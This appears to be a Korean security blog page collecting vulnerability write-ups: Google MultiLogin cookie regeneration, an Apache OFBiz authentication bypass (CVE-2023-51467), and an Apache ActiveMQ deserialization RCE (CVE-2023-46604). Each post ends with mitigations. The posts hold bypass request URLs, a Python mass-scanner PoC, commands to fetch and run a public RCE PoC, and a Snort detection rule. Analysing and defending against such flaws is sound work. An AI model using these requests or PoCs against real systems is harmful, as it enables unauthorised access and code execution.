- 다른 비밀 정보

 

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-7028
[3] https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
[4] https://github.com/Vozec/CVE-2023-7028
[5] https://0xweb01.medium.com/account-takeover-via-password-reset-without-user-interactions-cve-2023-7028-cbd2e675992e
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71289&menuNo=205020
[7] https://threatprotect.qualys.com/2024/01/15/gitlab-ee-ce-account-take-over-vulnerability-cve-2023-7028/
[8] https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#suspected-compromised-user-account
[9] https://www.securityweek.com/gitlab-patches-critical-password-reset-vulnerability/
[10] https://thehackernews.com/2024/01/urgent-gitlab-releases-patch-for.html?m=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=152803

'취약점 > Hijacking' 카테고리의 다른 글

LogoFAIL 취약점  (0) 2023.12.12

1. 개요

- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1]
- 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능
- Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중

 

2. 주요내용 [2]

[영상 1] 시연 영상

 

- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개

세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능

> 해당 툴은 2가지 기능을 지님

① 비밀번호 변경 유무와 상관없이 세션 유지
② 새로운 유효한 쿠키 생성

 

[사진 1] 텔레그램 사진

 

- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존

> 다양한 구글 서비스에서 계정을 동기화하도록 설계
> 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음

 

[사진 2] 리버스 엔지니어링 결과

 

- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출

> 추출을 위해 WebData의 token_service table 참조

> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음

 

[사진 3]  WebData의 token_service table

 

추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성

 

[사진 4] 인증 쿠키 재생성

 

- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능
> 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능

 

3. 대응방안

- 임시 수정 단계

① 모든 브라우저에서 로그아웃하여 세션 토큰 무효화

② 비밀번호 재설정

③ 재로그인하여 새 토큰 생성

※ 참고사이트 임시 수정 단계 참고 [2]

 

- g[.]co/mydevices을 통해 모든 활성 세션 종료

 

- 향상된 세이프 브라우징 사용 [3]

 

4. 참조

[1] https://www.youtube.com/watch?v=NzAtZzzFoOs
[2] https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking
[3] https://support.google.com/accounts/answer/11577602?hl=ko
[4] https://securityaffairs.com/156723/hacking/exploit-regenerates-google-cookies.html
[5] https://www.bleepingcomputer.com/news/security/google-malware-abusing-api-is-standard-token-theft-not-an-api-issue/#google_vignette
[6] https://www.dailysecu.com/news/articleView.html?idxno=152620
[7] https://www.dailysecu.com/news/articleView.html?idxno=152653
[8] https://www.boannews.com/media/view.asp?idx=125357&page=9&kind=1

1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

1. Apache ActiveMQ [1][2]

- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함

- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버

- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46604 [3]

 

- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)

> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음 

조건 ① OpenWire 포트 61616에 엑세스 가능

조건 ② 데이터 유형이 31인 OpenWire 패킷 전송

> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중

- 영향받는 버전
① Apache ActiveMQ
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.15.16 이전 버전

② Apache ActiveMQ Legacy OpenWire Module
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.8.0 ~ 5.15.16 이전 버전

 

[사진 2] SHODAN 검색 결과 (product:"ActiveMQ OpenWire Transport" / product:"ActiveMQ OpenWire Transport" port:61616)

 

[사진 3] 취약점 악용 공격 IP [4]

 

2.1 취약점 상세 [5][6][7]

- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행

> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)

> 언마셜 과정은 BaseDataStreamMarshaller에 의존

 

- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재

> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]

 

- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행

> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생

 

2.2 취약점 실습

- ActiveMQ 실행

> default ID/PW: admin/admin

wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
cd apache-activemq-5.18.2/bin/
./activemq start

 

[사진 4] ApachMQ 실행 및 버전 확인

 

- PoC 다운 및 수정 [9]

> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태

git clone hxxps://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
vi poc.xml

 

[사진 5] PoC 수정
[사진 6] ls /tmp/success

 

- PoC 수행

> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환

> PoC가 정상 수행될 경우 /tmp/success 파일이 생성

python3 -m http.server
go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml

 

[사진 7] PoC 결과 404 반환
[사진 8] PoC 패킷 캡쳐

 

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [10]

- validateIsThrowable 메서드를 추가

> 제공된 클래스가 Throwable 클래스 확장 유무 확인

> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성

제품명 영향받는 버전 해결 버전
Apache ActiveMQ 5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.15.16 이전 버전 5.15.16
Apache ActiveMQ
Legacy OpenWire Module
5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.8.0 ~ 5.15.16 이전 버전 5.15.16

 

[사진 9]&nbsp;validateIsThrowable

 

② OpenWire 프로토콜 비활성화

③ 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://activemq.apache.org/
[2] https://velog.io/@rlaghwns1995/Apache-ActiveMQ%EC%9D%98-%EA%B8%B0%EB%B3%B8
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[4] https://viz.greynoise.io/tag/apache-activemq-rce-attempt?days=30
[5] https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604
[6] https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
[7] https://www.uptycs.com/blog/apache-activemq-cve-2023-46604?hs_amp=true
[8] https://github.com/apache/activemq-openwire/blob/main/openwire-core/src/main/java/org/apache/activemq/openwire/commands/CommandTypes.java#L78
[9] https://github.com/X1r0z/ActiveMQ-RCE
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71236
[11] https://www.boannews.com/media/view.asp?idx=123384&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=123822&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=124844&direct=mobile

+ Recent posts